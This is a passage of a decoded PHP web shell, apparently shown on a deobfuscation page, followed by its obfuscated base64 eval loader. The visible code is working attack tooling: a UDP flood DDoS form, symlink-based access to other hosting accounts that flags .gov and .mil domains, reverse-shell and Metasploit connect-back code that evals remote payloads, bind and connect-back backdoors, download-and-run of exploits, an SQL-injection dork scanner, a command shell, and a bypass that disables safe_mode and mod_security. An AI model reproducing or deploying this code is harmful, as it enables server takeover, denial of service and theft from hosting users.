curl_setopt($resURL, CURLOPT_HEADERFUNCTION, \'curlHeaderCallback\');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec ($resURL);
$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);
if ($intReturnCode != 200){return false;}
else{return true ;}
}
function filter($string)
{
if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
else{return $string; }
}
function RemoveLastSlash($host)
{
if(strrpos($host, \'/\', -1) == strlen($host)-1)
{return substr($host,0,strrpos($host, \'/\', -1));}
else{return $host;}
}
echo "</p>";
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'dos\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
<center><br><br><br>
Your IP: <font color="red"><b><?php echo $my_ip; ?></b></font> (Don\'t DDOS yourself noob)<br><br>
<table class="tabnet" style="width:333px;padding:0 1px;">
<th colspan="5">DDOS Tool</th>
<tr><tr><td>IP Target</td><td>:</td>
<td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value==\'\' ) this.value = \'0.0.0.0\';" onfocus = " if ( this.value == \'0.0.0.0\' ) this.value = \'\';"/>
</td></tr>
<tr><td>Time</td><td>:</td>
<td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value==\'\' ) this.value = \'time (in seconds)\';" onfocus = " if ( this.value == \'time (in seconds)\' ) this.value = \'\';"/>
</td></tr>
<tr><td>Port</td><td>:</td>
<td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value==\'\' ) this.value = \'port\';" onfocus = " if ( this.value == \'port\' ) this.value = \'\';"/>
</td></tr></tr></table></b><br>
<input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">
<br><br>
<center>
After initiating the DDOS attack, please wait while the browser loads.
</center>
</form>
</center>
<?php
$submit = $_POST[\'fire\'];
if (isset($submit)) {
$packets = 0;
$ip = $_POST[\'ip\'];
$rand = $_POST[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST[\'time\'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time(\'h:i:s\')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s
";
}
}
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'symlink\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
<?php
@set_time_limit(0);
echo "<br><br><center><h1>--==[ Symlink ]==--</h1></center><br><br><center><div class=content>";
@mkdir(\'sym\',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen (\'sym/.htaccess\',\'w\');
fwrite($write ,$htaccess);
@symlink(\'/\',\'sym/root\');
$filelocation = basename(__FILE__);
$read_named_conf = @file(\'/etc/named.conf\');
if(!$read_named_conf)
{
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class=\'tmp\'><table border=\'1\' bordercolor=\'#FF0000\' width=\'500\' cellpadding=\'1\' cellspacing=\'0\'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi(\'zone\',$subject)){
preg_match_all(\'#zone "(.*)"#\',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$string[1][0]));
$name = $UID[\'name\'] ;
@symlink(\'/\',\'sym/root\');
$name = $string[1][0];
$iran = \'\.ir\';
$israel = \'\.il\';
$indo = \'\.id\';
$sg12 = \'\.sg\';
$edu = \'\.edu\';
$gov = \'\.gov\';
$gose = \'\.go\';
$gober = \'\.gob\';
$mil1 = \'\.mil\';
$mil2 = \'\.mi\';
$malay = \'\.my\';
$china = \'\.cn\';
$japan = \'\.jp\';
$austr = \'\.au\';
$porn = \'\.xxx\';
$as = \'\.uk\';
$calfn = \'\.ca\';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=\' color: #FF0000 ; text-shadow: 0px 0px 1px red; \'>".$string[1][0].\'</div>\';
}
echo "
<tr>
<td>
<div class=\'dom\'><a target=\'_blank\' href=http://www.".$string[1][0].\'/>\'.$name.\' </a> </div>
</td>
<td>
\'.$UID[\'name\']."
</td>
<td>
<a href=\'sym/root/home/".$UID[\'name\']."/public_html\' target=\'_blank\'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'domain\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
<?php
echo \'<br><br><center><h1>--==[ Local Domain Viewer ]==--</h1></center><br><br><div class=content>\';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can\'t ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET[\'ShowAll\']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user[\'name\']."</td></tr>";
}
echo "</table>";
}
echo \'</div>\';
}
//////////////////////////////////////////////////////
/////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'tool\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tool" method="post">
<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER[\'HTTP_HOST\']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class=\'mybox\' align=\'center\'><td><h2>Reverse shell ( php )</h2><form method=\'post\' actions=\'?y=<?php echo $pwd;?>&x=\'tool\'><table class=\'tabnet\'><tr><td style=\'width:110px;\'>Your IP</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'rstarget4\' value=\'".$rstarget4."\' /></td></tr><tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlportb4\' value=\'".$rsportb4."\' /></td></tr></table><input type=\'submit\' name=\'xback_php\' class=\'inputzbut\' value=\'connect\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /><input type=\'hidden\' name=\'d\' value=\'".$pwd."\' /></form></td><td><hr color=\'#4C83AF\'><td><td><form method=\'POST\'><table class=\'tabnet\'><h2>Metasploit Connection </h2><tr><td style=\'width:110px;\'>Your IP</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' size=\'40\' name=\'yip\' value=\'".$my_ip."\' /></td></tr><tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' size=\'5\' name=\'yport\' value=\'443\' /></td></tr></table><input class=\'inputzbut\' type=\'submit\' value=\'Connect\' name=\'metaConnect\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST[\'metaConnect\']){$ipaddr = $_POST[\'yip\'];$port = $_POST[\'yport\'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable(\'stream_socket_client\')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = \'stream\';}elseif (is_callable(\'fsockopen\')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = \'stream\';}elseif (is_callable(\'socket_create\')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = \'socket\';}else {die();}switch ($msgsock_type){case \'stream\': $len = fread($msgsock, 4); break;case \'socket\': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a[\'len\'];$buffer = \'\';while (strlen($buffer) < $len){switch ($msgsock_type) {case \'stream\': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case \'socket\': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST[\'sqlportb4\'])) $rsportb4 = ss($_REQUEST[\'sqlportb4\']);
if(isset($_REQUEST[\'rstarget4\'])) $rstarget4 = ss($_REQUEST[\'rstarget4\']);
if ($_POST[\'xback_php\']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = \'/bin/sh\';$daemon = 0;$debug = 0;if(function_exists(\'pcntl_fork\')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'whois\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whois" method="post">
<?php
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,\'<pre>\',\'</pre>\');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,\'<pre>\',\'</pre>\');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,\'<pre>\',\'</pre>\');
return $ip;
flush();
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,\'<strong>Nameservers found:</strong>\',\'<script type="text/javascript">\');
return $ip;
flush();
}
function sws_port_scan($ip)
{
$list_post = array(\'80\',\'21\',\'22\',\'2082\',\'25\',\'53\',\'110\',\'443\',\'143\');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo " $ip : $o_port ??? <u style=\"color: #FF0000\">Open</u> <br /><br />";
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo \'<br><br><center>\';
echo \'
<br />
<div class="sc"><form method="post"><table class="tabnet">
<tr><th colspan="5">Website Whois</th></tr>
<tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:#FF0000;background-color:#000000" class="inputz" value="site.com" />   <input class="inputzbut" type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan !" /></td></tr>
</table></form></div>\';
if(isset($_POST[\'scan\']))
{
$site = @htmlentities($_POST[\'site\']);
if (empty($site)){die(\'<br /><br /> Not add IP .. !\');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
<div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
<div class=\"ru\"> <br /><br /><pre>
";
echo "".sws_port_scan($ip_port)." </pre></div> ";
flush();
echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
<div class=\"ru\">
<pre>".sws_domain_info($site)."</pre></div>";
flush();
echo "
<div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_net_info($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_sup_dom($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_site_ser($site)."</pre> </div>
<div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
flush();
}
echo \'</center>\';
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'about\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=about" method="post">
<center><br><br>
<br><br><br> <br><br><font size="5" color="#FF0000">Special Thanks :</font></center><center>
<marquee direction="up" scrollamount="2" bgcolor="" width="250" height="40"><center>
<p><b><font size="3" color="#FF0000">--==[My Friends]==--<br><br>Tiada Nama<br>Tony Mota<br>./Humble One<br>Black404<br>Cyber Virus<br>Ustaz Seven<br>Macho Alex<br>
Macho Zul<br>
And All Black CyberSec Crew Members<br>
<br>--==[We Support]==--<br><br>
Members Only<br>
Macho CyberCrime<br>
Cybergeddon Crew<br>
Code Newbie<br>
Putera Army Rileks Crew<br>
Dragon Force<br>
Sarawak Cyber<br>Black Assasin Crew<br>Phantom Crew<br>United Muslim Of Cyber Army<br>Harimau Malaya Cyber Army<br>
Indonesia Cyber Army<br>
Indonesian Security<br>
Indonesia Black Cyber<br>
Garuda Cyber Army<br>
</font></b></p>
</center>
</marquee></center><br><br><br>
<?php
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'sqli-scanner\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
<?php
echo \'<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:#FF0000;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan"></form></center>\';
ob_start();
set_time_limit(0);
if (isset($_POST[\'scan\'])) {
$browser = $_SERVER[\'HTTP_USER_AGENT\'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = \'/<p class="g"><a href="(.*)" target="_self" onclick="/\';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST[\'dork\']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,\'$browser)\');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "=\'", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,\'$browser)\');
curl_setopt($curl,CURLOPT_TIMEOUT,\'5\');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo \'<center><b><font color="#E10000">Found : </font><a href="\'.$url.\'" target="_blank">\'.$url.\'</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>\';
ob_flush();flush();
}else{
echo \'<center><font color="#FFFFFF"><b>\'.$url.\'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>\';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'upload\')){
if(isset($_POST[\'uploadcomp\'])){
if(is_uploaded_file($_FILES[\'file\'][\'tmp_name\'])){
$path = magicboom($_POST[\'path\']);
$fname = $_FILES[\'file\'][\'name\'];
$tmp_name = $_FILES[\'file\'][\'tmp_name\'];
$pindah = $path.$fname;
$stat = @move_uploaded_file($tmp_name,$pindah);
if ($stat) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $fname";
}
else $msg = "failed to upload $fname";
}
elseif(isset($_POST[\'uploadurl\'])){
$pilihan = trim($_POST[\'pilihan\']);
$wurl = trim($_POST[\'wurl\']);
$path = magicboom($_POST[\'path\']);
$namafile = download($pilihan,$wurl);
$pindah = $path.$namafile;
if(is_file($pindah)) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $namafile";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'netsploit\')){
// bind connect with c
if (isset($_POST[\'bind\']) && !empty($_POST[\'port\']) && !empty($_POST[\'bind_pass\']) && ($_POST[\'use\'] == \'C\')) {
$port = trim($_POST[\'port\']);
$passwrd = trim($_POST[\'bind_pass\']);
tulis("bdc.c",$port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc ".$port." ".$passwrd." &");
$scan = exe("ps aux");
if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST[\'bind\']) && !empty($_POST[\'port\']) && !empty($_POST[\'bind_pass\']) && ($_POST[\'use\'] == \'Perl\')) {
$port = trim($_POST[\'port\']);
$passwrd = trim($_POST[\'bind_pass\']);
tulis("bdp",$port_bind_bd_pl);
exe("chmod 777 bdp");
$p2=which("perl");
exe($p2." bdp ".$port." &");
$scan = exe("ps aux");
if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST[\'backconn\']) && !empty($_POST[\'backport\']) && !empty($_POST[\'ip\']) && ($_POST[\'use\'] == \'C\')) {
$ip = trim($_POST[\'ip\']);
$port = trim($_POST[\'backport\']);
tulis("bcc.c",$back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST[\'backconn\']) && !empty($_POST[\'backport\']) && !empty($_POST[\'ip\']) && ($_POST[\'use\'] == \'Perl\')) {
$ip = trim($_POST[\'ip\']);
$port = trim($_POST[\'backport\']);
tulis("bcp",$back_connect);
exe("chmod +x bcp");
$p2=which("perl");
exe($p2." bcp ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST[\'expcompile\']) && !empty($_POST[\'wurl\']) && !empty($_POST[\'wcmd\']))
{
$pilihan = trim($_POST[\'pilihan\']);
$wurl = trim($_POST[\'wurl\']);
$namafile = download($pilihan,$wurl);
if(is_file($namafile)) {
$msg = exe($wcmd);
}
else $msg = "error: file not found $namafile";
}
?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv(\'REMOTE_ADDR\')) ? (getenv(\'REMOTE_ADDR\')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'shell\')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST[\'submitcmd\'])) {
echo @exe($_POST[\'cmd\']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php }
else {
if(isset($_GET[\'delete\']) && ($_GET[\'delete\'] != "")){
$file = $_GET[\'delete\'];
@unlink($file);
}
elseif(isset($_GET[\'fdelete\']) && ($_GET[\'fdelete\'] != "")){
@rmdir(rtrim($_GET[\'fdelete\'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET[\'mkdir\']) && ($_GET[\'mkdir\'] != "")){
$path = $pwd.$_GET[\'mkdir\'];
@mkdir($path);
}
$buff = showdir($pwd,$prompt);
echo $buff;
}
?>
<br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
<?php
if(isset($_POST[\'ini\']))
{
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
echo "<script>alert(\'Disable Functions and Safemode Created\'); hideAll();</script>";
die();
}
?></div>
</body>
</html>
'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHAgCiRhdXRoX3Bhc3MgPSAiZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UiOyAKJGNvbG9yID0gIiNGRjAwMDAiOyAKJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsgCkBkZWZpbmUoJ1NFTEZfUEFUSCcsIF9fRklMRV9fKTsgCmlmKCBzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdHb29nbGUnKSAhPT0gZmFsc2UgKSB7IAogICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7IAogICAgZXhpdDsgCn0gCkBzZXNzaW9uX3N0YXJ0KCk7IApAZXJyb3JfcmVwb3J0aW5nKDApOyAKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7IApAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsJCmlmKGlzc2V0KCRfR0VUWydkbCddKSAmJiAoJF9HRVRbJ2RsJ10gIT0gIiIpKXsKCSRmaWxlID0gJF9HRVRbJ2RsJ107CgkkZmlsZXogPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IAogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iXCI7Iik7CiAgIGVjaG8gJGZpbGV6OyAKICAgIGV4aXQ7IAp9CmVsc2VpZihpc3NldCgkX0dFVFsnZGxnemlwJ10pICYmICgkX0dFVFsnZGxnemlwJ10gIT0gIiIpKXsKCSRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOwoJJGZpbGV6ID0gZ3plbmNvZGUoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7CiAgIGhlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7IAogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iLmd6XCI7Iik7CiAgIGVjaG8gJGZpbGV6OyAKICAgIGV4aXQ7IAp9Ci8vIHZpZXcgaW1hZ2UKaWYoaXNzZXQoJF9HRVRbJ2ltZyddKSl7CgkJQG9iX2NsZWFuKCk7IAoJCSRkID0gbWFnaWNib29tKCRfR0VUWyd5J10pOwoJCSRmID0gJF9HRVRbJ2ltZyddOwoJCSRpbmYgPSBAZ2V0aW1hZ2VzaXplKCRkLiRmKTsgCiAgIAkJJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsgCiAgIAkJJGV4dCA9ICRleHRbY291bnQoJGV4dCktMV07IAogICAJIAlAaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTsKICAgCSAJQGhlYWRlcigiQ2FjaGUtY29udHJvbDogcHVibGljIik7IAogIAkJQGhlYWRlcigiRXhwaXJlczogIi5kYXRlKCJyIixta3RpbWUoMCwwLDAsMSwxLDIwMzApKSk7IAogIAkJQGhlYWRlcigiQ2FjaGUtY29udHJvbDogbWF4LWFnZT0iLig2MCo2MCoyNCo3KSk7ICAKICAgCSAJQHJlY